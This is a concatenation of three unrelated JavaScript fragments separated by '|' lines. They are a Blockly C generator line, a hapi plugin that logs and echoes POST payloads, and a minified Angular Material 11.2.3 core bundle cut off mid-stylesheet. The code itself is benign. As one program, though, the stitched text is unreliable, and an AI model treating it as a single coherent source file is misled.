Blockly.C.escape_characters=function(a){return["'\\"+a.getFieldValue("CHAR")+"'",Blockly.C.ORDER_ATOMIC]};
|
var plugin = {
register: function (server, options, next) {
var routes = [
{
method: 'POST',
path: '/',
handler: function (request, reply) {
var payload = request.payload
server.log('info', payload)
reply(payload)
}
}
]
// add defined routes to hapi
server.route(routes)
next()
}
}
plugin.register.attributes = {
name: 'wildcard-path-params',
version: '1.0.0'
}
module.exports = plugin
|
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("@angular/core"),require("@angular/cdk/a11y"),require("@angular/cdk/bidi"),require("@angular/cdk"),require("@angular/common"),require("@angular/cdk/coercion"),require("rxjs"),require("@angular/cdk/platform"),require("rxjs/operators"),require("@angular/platform-browser/animations"),require("@angular/cdk/keycodes")):"function"==typeof define&&define.amd?define("@angular/material/core",["exports","@angular/core","@angular/cdk/a11y","@angular/cdk/bidi","@angular/cdk","@angular/common","@angular/cdk/coercion","rxjs","@angular/cdk/platform","rxjs/operators","@angular/platform-browser/animations","@angular/cdk/keycodes"],e):e(((t=t||self).ng=t.ng||{},t.ng.material=t.ng.material||{},t.ng.material.core={}),t.ng.core,t.ng.cdk.a11y,t.ng.cdk.bidi,t.ng.cdk,t.ng.common,t.ng.cdk.coercion,t.rxjs,t.ng.cdk.platform,t.rxjs.operators,t.ng.platformBrowser.animations,t.ng.cdk.keycodes)}(this,(function(t,e,n,i,r,o,a,s,c,l,p,u){"use strict";
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/var d,h,g=new e.Version("11.2.3");
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/(d=function d(){}).STANDARD_CURVE="cubic-bezier(0.4,0.0,0.2,1)",d.DECELERATION_CURVE="cubic-bezier(0.0,0.0,0.2,1)",d.ACCELERATION_CURVE="cubic-bezier(0.4,0.0,1,1)",d.SHARP_CURVE="cubic-bezier(0.4,0.0,0.6,1)",(h=function h(){}).COMPLEX="375ms",h.ENTERING="225ms",h.EXITING="195ms";
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
var f=new e.Version("11.2.3");function m(){return!0}var y=new e.InjectionToken("mat-sanity-checks",{providedIn:"root",factory:m}),_=function(){function t(t,e,n){this._hasDoneGlobalChecks=!1,this._document=n,t._applyBodyHighContrastModeCssClasses(),this._sanityChecks=e,this._hasDoneGlobalChecks||(this._checkDoctypeIsDefined(),this._checkThemeIsPresent(),this._checkCdkVersionMatch(),this._hasDoneGlobalChecks=!0)}return t.prototype._getWindow=function(){var t=this._document.defaultView||window;return"object"==typeof t&&t?t:null},t.prototype._checksAreEnabled=function(){return e.isDevMode()&&!this._isTestEnv()},t.prototype._isTestEnv=function(){var t=this._getWindow();return t&&(t.__karma__||t.jasmine)},t.prototype._checkDoctypeIsDefined=function(){this._checksAreEnabled()&&(!0===this._sanityChecks||this._sanityChecks.doctype)&&!this._document.doctype&&console.warn("Current document does not have a doctype. This may cause some Angular Material components not to behave as expected.")},t.prototype._checkThemeIsPresent=function(){if(this._checksAreEnabled()&&!1!==this._sanityChecks&&this._sanityChecks.theme&&this._document.body&&"function"==typeof getComputedStyle){var t=this._document.createElement("div");t.classList.add("mat-theme-loaded-marker"),this._document.body.appendChild(t);var e=getComputedStyle(t);e&&"none"!==e.display&&console.warn("Could not find Angular Material core theme. Most Material components may not work as expected. For more info refer to the theming guide: https://material.angular.io/guide/theming"),this._document.body.removeChild(t)}},t.prototype._checkCdkVersionMatch=function(){this._checksAreEnabled()&&(!0===this._sanityChecks||this._sanityChecks.version)&&f.full!==r.VERSION.full&&console.warn("The Angular Material version ("+f.full+") does not match the Angular CDK version ("+r.VERSION.full+").\nPlease ensure the versions of these two packages exactly match.")},t}();_.decorators=[{type:e.NgModule,args:[{imports:[i.BidiModule],exports:[i.BidiModule]}]}],_.ctorParameters=function(){return[{type:n.HighContrastModeDetector},{type:void 0,decorators:[{type:e.Optional},{type:e.Inject,args:[y]}]},{type:void 0,decorators:[{type:e.Inject,args:[o.DOCUMENT]}]}]};
/*! *****************************************************************************
Copyright (c) Microsoft Corporation.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
var b=function(t,e){return(b=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])})(t,e)};function v(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function n(){this.constructor=t}b(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}function D(t,e){var n="function"==typeof Symbol&&t[Symbol.iterator];if(!n)return t;var i,r,o=n.call(t),a=[];try{for(;(void 0===e||e-- >0)&&!(i=o.next()).done;)a.push(i.value)}catch(t){r={error:t}}finally{try{i&&!i.done&&(n=o.return)&&n.call(o)}finally{if(r)throw r.error}}return a}function x(){for(var t=[],e=0;e<arguments.length;e++)t=t.concat(D(arguments[e]));return t}function E(t){return function(t){function e(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];var i=t.apply(this,x(e))||this;return i._disabled=!1,i}return v(e,t),Object.defineProperty(e.prototype,"disabled",{get:function(){return this._disabled},set:function(t){this._disabled=a.coerceBooleanProperty(t)},enumerable:!1,configurable:!0}),e}(t)}
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
var O=new e.InjectionToken("MAT_DATE_LOCALE",{providedIn:"root",factory:C});function C(){return e.inject(e.LOCALE_ID)}var k,w=function(){function t(){this._localeChanges=new s.Subject,this.localeChanges=this._localeChanges}return t.prototype.getValidDateOrNull=function(t){return this.isDateInstance(t)&&this.isValid(t)?t:null},t.prototype.deserialize=function(t){return null==t||this.isDateInstance(t)&&this.isValid(t)?t:this.invalid()},t.prototype.setLocale=function(t){this.locale=t,this._localeChanges.next()},t.prototype.compareDate=function(t,e){return this.getYear(t)-this.getYear(e)||this.getMonth(t)-this.getMonth(e)||this.getDate(t)-this.getDate(e)},t.prototype.sameDate=function(t,e){if(t&&e){var n=this.isValid(t),i=this.isValid(e);return n&&i?!this.compareDate(t,e):n==i}return t==e},t.prototype.clampDate=function(t,e,n){return e&&this.compareDate(t,e)<0?e:n&&this.compareDate(t,n)>0?n:t},t}(),M=new e.InjectionToken("mat-date-formats");
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/try{k="undefined"!=typeof Intl}catch(t){k=!1}var I={long:["January","February","March","April","May","June","July","August","September","October","November","December"],short:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],narrow:["J","F","M","A","M","J","J","A","S","O","N","D"]},R=A(31,(function(t){return String(t+1)})),T={long:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],short:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],narrow:["S","M","T","W","T","F","S"]},S=/^\d{4}-\d{2}-\d{2}(?:T\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|(?:(?:\+|-)\d{2}:\d{2}))?)?$/;function A(t,e){for(var n=Array(t),i=0;i<t;i++)n[i]=e(i);return n}var P=function(t){function e(e,n){var i=t.call(this)||this;return i.useUtcForDisplay=!0,t.prototype.setLocale.call(i,e),i.useUtcForDisplay=!n.TRIDENT,i._clampDate=n.TRIDENT||n.EDGE,i}return v(e,t),e.prototype.getYear=function(t){return t.getFullYear()},e.prototype.getMonth=function(t){return t.getMonth()},e.prototype.getDate=function(t){return t.getDate()},e.prototype.getDayOfWeek=function(t){return t.getDay()},e.prototype.getMonthNames=function(t){var e=this;if(k){var n=new Intl.DateTimeFormat(this.locale,{month:t,timeZone:"utc"});return A(12,(function(t){return e._stripDirectionalityCharacters(e._format(n,new Date(2017,t,1)))}))}return I[t]},e.prototype.getDateNames=function(){var t=this;if(k){var e=new Intl.DateTimeFormat(this.locale,{day:"numeric",timeZone:"utc"});return A(31,(function(n){return t._stripDirectionalityCharacters(t._format(e,new Date(2017,0,n+1)))}))}return R},e.prototype.getDayOfWeekNames=function(t){var e=this;if(k){var n=new Intl.DateTimeFormat(this.locale,{weekday:t,timeZone:"utc"});return A(7,(function(t){return e._stripDirectionalityCharacters(e._format(n,new Date(2017,0,t+1)))}))}return T[t]},e.prototype.getYearName=function(t){if(k){var e=new Intl.DateTimeFormat(this.locale,{year:"numeric",timeZone:"utc"});return this._stripDirectionalityCharacters(this._format(e,t))}return String(this.getYear(t))},e.prototype.getFirstDayOfWeek=function(){return 0},e.prototype.getNumDaysInMonth=function(t){return this.getDate(this._createDateWithOverflow(this.getYear(t),this.getMonth(t)+1,0))},e.prototype.clone=function(t){return new Date(t.getTime())},e.prototype.createDate=function(t,e,n){var i=this._createDateWithOverflow(t,e,n);return i.getMonth(),i},e.prototype.today=function(){return new Date},e.prototype.parse=function(t){return"number"==typeof t?new Date(t):t?new Date(Date.parse(t)):null},e.prototype.format=function(t,e){if(!this.isValid(t))throw Error("NativeDateAdapter: Cannot format invalid date.");if(k){this._clampDate&&(t.getFullYear()<1||t.getFullYear()>9999)&&(t=this.clone(t)).setFullYear(Math.max(1,Math.min(9999,t.getFullYear()))),e=Object.assign(Object.assign({},e),{timeZone:"utc"});var n=new Intl.DateTimeFormat(this.locale,e);return this._stripDirectionalityCharacters(this._format(n,t))}return this._stripDirectionalityCharacters(t.toDateString())},e.prototype.addCalendarYears=function(t,e){return this.addCalendarMonths(t,12*e)},e.prototype.addCalendarMonths=function(t,e){var n=this._createDateWithOverflow(this.getYear(t),this.getMonth(t)+e,this.getDate(t));return this.getMonth(n)!=((this.getMonth(t)+e)%12+12)%12&&(n=this._createDateWithOverflow(this.getYear(n),this.getMonth(n),0)),n},e.prototype.addCalendarDays=function(t,e){return this._createDateWithOverflow(this.getYear(t),this.getMonth(t),this.getDate(t)+e)},e.prototype.toIso8601=function(t){return[t.getUTCFullYear(),this._2digit(t.getUTCMonth()+1),this._2digit(t.getUTCDate())].join("-")},e.prototype.deserialize=function(e){if("string"==typeof e){if(!e)return null;if(S.test(e)){var n=new Date(e);if(this.isValid(n))return n}}return t.prototype.deserialize.call(this,e)},e.prototype.isDateInstance=function(t){return t instanceof Date},e.prototype.isValid=function(t){return!isNaN(t.getTime())},e.prototype.invalid=function(){return new Date(NaN)},e.prototype._createDateWithOverflow=function(t,e,n){var i=new Date;return i.setFullYear(t,e,n),i.setHours(0,0,0,0),i},e.prototype._2digit=function(t){return("00"+t).slice(-2)},e.prototype._stripDirectionalityCharacters=function(t){return t.replace(/[\u200e\u200f]/g,"")},e.prototype._format=function(t,e){var n=new Date;return n.setUTCFullYear(e.getFullYear(),e.getMonth(),e.getDate()),n.setUTCHours(e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds()),t.format(n)},e}(w);P.decorators=[{type:e.Injectable}],P.ctorParameters=function(){return[{type:String,decorators:[{type:e.Optional},{type:e.Inject,args:[O]}]},{type:c.Platform}]};
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
var j,N={parse:{dateInput:null},display:{dateInput:{year:"numeric",month:"numeric",day:"numeric"},monthYearLabel:{year:"numeric",month:"short"},dateA11yLabel:{year:"numeric",month:"long",day:"numeric"},monthYearA11yLabel:{year:"numeric",month:"long"}}};
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/(j=function j(){}).decorators=[{type:e.NgModule,args:[{imports:[c.PlatformModule],providers:[{provide:w,useClass:P}]}]}];var L,V=N;(L=function L(){}).decorators=[{type:e.NgModule,args:[{imports:[j],providers:[{provide:M,useValue:V}]}]}];
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
var F=function(){function t(){}return t.prototype.isErrorState=function(t,e){return!!(t&&t.invalid&&(t.dirty||e&&e.submitted))},t}();F.decorators=[{type:e.Injectable}];var Y,z,U=function(){function t(){}return t.prototype.isErrorState=function(t,e){return!!(t&&t.invalid&&(t.touched||e&&e.submitted))},t}();function W(t,e,n){var i=t.nativeElement.classList;n?i.add(e):i.remove(e)}U.ɵprov=e.ɵɵdefineInjectable({factory:function t(){return new U},token:U,providedIn:"root"}),U.decorators=[{type:e.Injectable,args:[{providedIn:"root"}]}],(Y=function Y(){}).decorators=[{type:e.Directive,args:[{selector:"[mat-line], [matLine]",host:{class:"mat-line"}}]}],(z=function z(){}).decorators=[{type:e.NgModule,args:[{imports:[_],exports:[Y,_],declarations:[Y]}]}];
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
var B,H,Z,q=function(){function t(t,e,n){this._renderer=t,this.element=e,this.config=n,this.state=3}return t.prototype.fadeOut=function(){this._renderer.fadeOutRipple(this)},t}(),G={enterDuration:450,exitDuration:400},J=c.normalizePassiveListenerOptions({passive:!0}),K=["mousedown","touchstart"],X=["mouseup","mouseleave","touchend","touchcancel"],$=function(){function t(t,e,n,i){this._target=t,this._ngZone=e,this._isPointerDown=!1,this._activeRipples=new Set,this._pointerUpEventsRegistered=!1,i.isBrowser&&(this._containerElement=a.coerceElement(n))}return t.prototype.fadeInRipple=function(t,e,n){var i=this;void 0===n&&(n={});var r=this._containerRect=this._containerRect||this._containerElement.getBoundingClientRect(),o=Object.assign(Object.assign({},G),n.animation);n.centered&&(t=r.left+r.width/2,e=r.top+r.height/2);var a=n.radius||function s(t,e,n){var i=Math.max(Math.abs(t-n.left),Math.abs(t-n.right)),r=Math.max(Math.abs(e-n.top),Math.abs(e-n.bottom));return Math.sqrt(i*i+r*r)}
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/(t,e,r),c=t-r.left,l=e-r.top,p=o.enterDuration,u=document.createElement("div");u.classList.add("mat-ripple-element"),u.style.left=c-a+"px",u.style.top=l-a+"px",u.style.height=2*a+"px",u.style.width=2*a+"px",null!=n.color&&(u.style.backgroundColor=n.color),u.style.transitionDuration=p+"ms",this._containerElement.appendChild(u),function d(t){window.getComputedStyle(t).getPropertyValue("opacity")}(u),u.style.transform="scale(1)";var h=new q(this,u,n);return h.state=0,this._activeRipples.add(h),n.persistent||(this._mostRecentTransientRipple=h),this._runTimeoutOutsideZone((function(){var t=h===i._mostRecentTransientRipple;h.state=1,n.persistent||t&&i._isPointerDown||h.fadeOut()}),p),h},t.prototype.fadeOutRipple=function(t){var e=this._activeRipples.delete(t);if(t===this._mostRecentTransientRipple&&(this._mostRecentTransientRipple=null),this._activeRipples.size||(this._containerRect=null),e){var n=t.element,i=Object.assign(Object.assign({},G),t.config.animation);n.style.transitionDuration=i.exitDuration+"ms",n.style.opacity="0",t.state=2,this._runTimeoutOutsideZone((function(){t.state=3,n.parentNode.removeChild(n)}),i.exitDuration)}},t.prototype.fadeOutAll=function(){this._activeRipples.forEach((function(t){return t.fadeOut()}))},t.prototype.setupTriggerEvents=function(t){var e=a.coerceElement(t);e&&e!==this._triggerElement&&(this._removeTriggerEvents(),this._triggerElement=e,this._registerEvents(K))},t.prototype.handleEvent=function(t){"mousedown"===t.type?this._onMousedown(t):"touchstart"===t.type?this._onTouchStart(t):this._onPointerUp(),this._pointerUpEventsRegistered||(this._registerEvents(X),this._pointerUpEventsRegistered=!0)},t.prototype._onMousedown=function(t){var e=n.isFakeMousedownFromScreenReader(t),i=this._lastTouchStartEvent&&Date.now()<this._lastTouchStartEvent+800;this._target.rippleDisabled||e||i||(this._isPointerDown=!0,this.fadeInRipple(t.clientX,t.clientY,this._target.rippleConfig))},t.prototype._onTouchStart=function(t){if(!this._target.rippleDisabled&&!n.isFakeTouchstartFromScreenReader(t)){this._lastTouchStartEvent=Date.now(),this._isPointerDown=!0;for(var e=t.changedTouches,i=0;i<e.length;i++)this.fadeInRipple(e[i].clientX,e[i].clientY,this._target.rippleConfig)}},t.prototype._onPointerUp=function(){this._isPointerDown&&(this._isPointerDown=!1,this._activeRipples.forEach((function(t){!t.config.persistent&&(1===t.state||t.config.terminateOnPointerUp&&0===t.state)&&t.fadeOut()})))},t.prototype._runTimeoutOutsideZone=function(t,e){void 0===e&&(e=0),this._ngZone.runOutsideAngular((function(){return setTimeout(t,e)}))},t.prototype._registerEvents=function(t){var e=this;this._ngZone.runOutsideAngular((function(){t.forEach((function(t){e._triggerElement.addEventListener(t,e,J)}))}))},t.prototype._removeTriggerEvents=function(){var t=this;this._triggerElement&&(K.forEach((function(e){t._triggerElement.removeEventListener(e,t,J)})),this._pointerUpEventsRegistered&&X.forEach((function(e){t._triggerElement.removeEventListener(e,t,J)})))},t}(),Q=new e.InjectionToken("mat-ripple-global-options"),tt=function(){function t(t,e,n,i,r){this._elementRef=t,this._animationMode=r,this.radius=0,this._disabled=!1,this._isInitialized=!1,this._globalOptions=i||{},this._rippleRenderer=new $(this,e,t,n)}return Object.defineProperty(t.prototype,"disabled",{get:function(){return this._disabled},set:function(t){this._disabled=t,this._setupTriggerEventsIfEnabled()},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"trigger",{get:function(){return this._trigger||this._elementRef.nativeElement},set:function(t){this._trigger=t,this._setupTriggerEventsIfEnabled()},enumerable:!1,configurable:!0}),t.prototype.ngOnInit=function(){this._isInitialized=!0,this._setupTriggerEventsIfEnabled()},t.prototype.ngOnDestroy=function(){this._rippleRenderer._removeTriggerEvents()},t.prototype.fadeOutAll=function(){this._rippleRenderer.fadeOutAll()},Object.defineProperty(t.prototype,"rippleConfig",{get:function(){return{centered:this.centered,radius:this.radius,color:this.color,animation:Object.assign(Object.assign(Object.assign({},this._globalOptions.animation),"NoopAnimations"===this._animationMode?{enterDuration:0,exitDuration:0}:{}),this.animation),terminateOnPointerUp:this._globalOptions.terminateOnPointerUp}},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"rippleDisabled",{get:function(){return this.disabled||!!this._globalOptions.disabled},enumerable:!1,configurable:!0}),t.prototype._setupTriggerEventsIfEnabled=function(){!this.disabled&&this._isInitialized&&this._rippleRenderer.setupTriggerEvents(this.trigger)},t.prototype.launch=function(t,e,n){return void 0===e&&(e=0),"number"==typeof t?this._rippleRenderer.fadeInRipple(t,e,Object.assign(Object.assign({},this.rippleConfig),n)):this._rippleRenderer.fadeInRipple(0,0,Object.assign(Object.assign({},this.rippleConfig),t))},t}();tt.decorators=[{type:e.Directive,args:[{selector:"[mat-ripple], [matRipple]",exportAs:"matRipple",host:{class:"mat-ripple","[class.mat-ripple-unbounded]":"unbounded"}}]}],tt.ctorParameters=function(){return[{type:e.ElementRef},{type:e.NgZone},{type:c.Platform},{type:void 0,decorators:[{type:e.Optional},{type:e.Inject,args:[Q]}]},{type:String,decorators:[{type:e.Optional},{type:e.Inject,args:[p.ANIMATION_MODULE_TYPE]}]}]},tt.propDecorators={color:[{type:e.Input,args:["matRippleColor"]}],unbounded:[{type:e.Input,args:["matRippleUnbounded"]}],centered:[{type:e.Input,args:["matRippleCentered"]}],radius:[{type:e.Input,args:["matRippleRadius"]}],animation:[{type:e.Input,args:["matRippleAnimation"]}],disabled:[{type:e.Input,args:["matRippleDisabled"]}],trigger:[{type:e.Input,args:["matRippleTrigger"]}]},(B=function B(){}).decorators=[{type:e.NgModule,args:[{imports:[_,c.PlatformModule],exports:[tt,_],declarations:[tt]}]}],(H=function H(t){this._animationMode=t,this.state="unchecked",this.disabled=!1}).decorators=[{type:e.Component,args:[{encapsulation:e.ViewEncapsulation.None,changeDetection:e.ChangeDetectionStrategy.OnPush,selector:"mat-pseudo-checkbox",template:"",host:{class:"mat-pseudo-checkbox","[class.mat-pseudo-checkbox-indeterminate]":'state === "indeterminate"',"[class.mat-pseudo-checkbox-checked]":'state === "checked"',"[class.mat-pseudo-checkbox-disabled]":"disabled","[class._mat-animation-noopable]":'_animationMode === "NoopAnimations"'},styles:['.mat-pseudo-checkbox{width:16px;height:16px;border:2px solid;border-radius:2px;cursor:pointer;display:inline-block;vertical-align:middle;box-sizing:border-box;position:relative;flex-shrink:0;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1),background-color 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox::after{position:absolute;opacity:0;content:"";border-bottom:2px solid currentColor;transition:opacity 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox.mat-pseudo-checkbox-indeterminate{border-color:transparent}._mat-animation-noopable.mat-pseudo-checkbox{transition:none;animation:none}._mat-animation-noopable.mat-pseudo-checkbox::after{transition:none}.mat-pseudo-checkbox-disabled{cursor:default}.mat-pseudo-checkbox-indeterminate::after{top:5px;left:1px;width:10px;opacity:1;border-radius:2px}.mat-pseudo-checkbox-checked::after{top:2.4px;left:1px;width:8px;height:3px;border-left:2px solid currentColor;transform:rotate(-45deg);opacity:1;box-sizing:content-box}\n']}]}],H.ctorParameters=function(){return[{type:String,decorators:[{type:e.Optional},{type:e.Inject,args:[p.ANIMATION_MODULE_TYPE]}]}]},H.propDecorators={state:[{type:e.Input}],disabled:[{type:e.Input}]},(Z=function Z(){}).decorators=[{type:e.NgModule,args:[{imports:[_],exports:[H],declarations:[H]}]}];
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
var et=new e.InjectionToken("MAT_OPTION_PARENT_COMPONENT"),nt=E((function it(){})),rt=0,ot=function(t){function e(e){var n,i=this;return(i=t.call(this)||this)._labelId="mat-optgroup-label-"+rt++,i._inert=null!==(n=null==e?void 0:e.inertGroups)&&void 0!==n&&n,i}return v(e,t),e}(nt);ot.decorators=[{type:e.Directive}],ot.ctorParameters=function(){return[{type:void 0,decorators:[{type:e.Inject,args:[et]},{type:e.Optional}]}]},ot.propDecorators={label:[{type:e.Input}]};var at=new e.InjectionToken("MatOptgroup"),st=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return v(e,t),e}(ot);st.decorators=[{type:e.Component,args:[{selector:"mat-optgroup",exportAs:"matOptgroup",template:'<span class="mat-optgroup-label" aria-hidden="true" [id]="_labelId">{{ label }} <ng-content></ng-content></span>\n<ng-content select="mat-option, ng-container"></ng-content>\n',encapsulation:e.ViewEncapsulation.None,changeDetection:e.ChangeDetectionStrategy.OnPush,inputs:["disabled"],host:{class:"mat-optgroup","[attr.role]":'_inert ? null : "group"',"[attr.aria-disabled]":"_inert ? null : disabled.toString()","[attr.aria-labelledby]":"_inert ? null : _labelId","[class.mat-optgroup-disabled]":"disabled"},providers:[{provide:at,useExisting:st}],styles:[".mat-optgroup-label{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.mat-optgroup-label[disabled]{cursor:default}[dir=rtl] .mat-optgroup-label{text-align:right}.mat-optgroup-label .mat-icon{margin-right:16px;vertical-align:middle}.mat-optgroup-label .mat-icon svg{vertical-align:top}[dir=rtl] .mat-optgroup-label .mat-icon{margin-left:16px;margin-right:0}\n"]}]}];var ct=0,lt=function lt(t,e){void 0===e&&(e=!1),this.source=t,this.isUserInput=e},pt=function(){function t(t,n,i,r){this._element=t,this._changeDetectorRef=n,this._parent=i,this.group=r,this._selected=!1,this._active=!1,this._disabled=!1,this._mostRecentViewValue="",this.id="mat-option-"+ct++,this.onSelectionChange=new e.EventEmitter,this._stateChanges=new s.Subject}return Object.defineProperty(t.prototype,"multiple",{get:function(){return this._parent&&this._parent.multiple},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"selected",{get:function(){return this._selected},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"disabled",{get:function(){return this.group&&this.group.disabled||this._disabled},set:function(t){this._disabled=a.coerceBooleanProperty(t)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"disableRipple",{get:function(){return this._parent&&this._parent.disableRipple},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"active",{get:function(){return this._active},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"viewValue",{get:function(){return(this._getHostElement().textContent||"").trim()},enumerable:!1,configurable:!0}),t.prototype.select=function(){this._selected||(this._selected=!0,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())},t.prototype.deselect=function(){this._selected&&(this._selected=!1,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())},t.prototype.focus=function(t,e){var n=this._getHostElement();"function"==typeof n.focus&&n.focus(e)},t.prototype.setActiveStyles=function(){this._active||(this._active=!0,this._changeDetectorRef.markForCheck())},t.prototype.setInactiveStyles=function(){this._active&&(this._active=!1,this._changeDetectorRef.markForCheck())},t.prototype.getLabel=function(){return this.viewValue},t.prototype._handleKeydown=function(t){t.keyCode!==u.ENTER&&t.keyCode!==u.SPACE||u.hasModifierKey(t)||(this._selectViaInteraction(),t.preventDefault())},t.prototype._selectViaInteraction=function(){this.disabled||(this._selected=!this.multiple||!this._selected,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent(!0))},t.prototype._getAriaSelected=function(){return this.selected||!this.multiple&&null},t.prototype._getTabIndex=function(){return this.disabled?"-1":"0"},t.prototype._getHostElement=function(){return this._element.nativeElement},t.prototype.ngAfterViewChecked=function(){if(this._selected){var t=this.viewValue;t!==this._mostRecentViewValue&&(this._mostRecentViewValue=t,this._stateChanges.next())}},t.prototype.ngOnDestroy=function(){this._stateChanges.complete()},t.prototype._emitSelectionChangeEvent=function(t){void 0===t&&(t=!1),this.onSelectionChange.emit(new lt(this,t))},t}();pt.decorators=[{type:e.Directive}],pt.ctorParameters=function(){return[{type:e.ElementRef},{type:e.ChangeDetectorRef},{type:void 0},{type:ot}]},pt.propDecorators={value:[{type:e.Input}],id:[{type:e.Input}],disabled:[{type:e.Input}],onSelectionChange:[{type:e.Output}]};var ut,dt=function(t){function e(e,n,i,r){return t.call(this,e,n,i,r)||this}return v(e,t),e}(pt);dt.decorators=[{type:e.Component,args:[{selector:"mat-option",exportAs:"matOption",host:{role:"option","[attr.tabindex]":"_getTabIndex()","[class.mat-selected]":"selected","[class.mat-option-multiple]":"multiple","[class.mat-active]":"active","[id]":"id","[attr.aria-selected]":"_getAriaSelected()","[attr.aria-disabled]":"disabled.toString()","[class.mat-option-disabled]":"disabled","(click)":"_selectViaInteraction()","(keydown)":"_handleKeydown($event)",class:"mat-option mat-focus-indicator"},template:'<mat-pseudo-checkbox *ngIf="multiple" class="mat-option-pseudo-checkbox"\n [state]="selected ? \'checked\' : \'unchecked\'" [disabled]="disabled"></mat-pseudo-checkbox>\n\n<span class="mat-option-text"><ng-content></ng-content></span>\n\n\x3c!-- See a11y notes inside optgroup.ts for context behind this element. --\x3e\n<span class="cdk-visually-hidden" *ngIf="group && group._inert">({{ group.label }})</span>\n\n<div class="mat-option-ripple" mat-ripple\n [matRippleTrigger]="_getHostElement()"\n [matRippleDisabled]="disabled || disableRipple">\n</div>\n',encapsulation:e.ViewEncapsulation.None,changeDetection:e.ChangeDetectionStrategy.OnPush,styles:[".mat-option{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative;cursor:pointer;outline:none;display:flex;flex-direction:row;max-width:100%;box-sizing:border-box;align-items:center;-webkit-tap-highlight-color:transparent}.mat-option[disabled]{cursor:default}[dir=rtl] .mat-option{text-align:right}.mat-option .mat-icon{margin-right:16px;vertical-align:middle}.mat-option .mat-icon svg{vertical-align:top}[dir=rtl] .mat-option .mat-icon{margin-left:16px;margin-right:0}.mat-option[aria-disabled=true]{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:default}.mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:32px}[dir=rtl] .mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:16px;padding-right:32px}.cdk-high-contrast-active .mat-option{margin:0 1px}.cdk-high-contrast-active .mat-option.mat-active{border:solid 1px 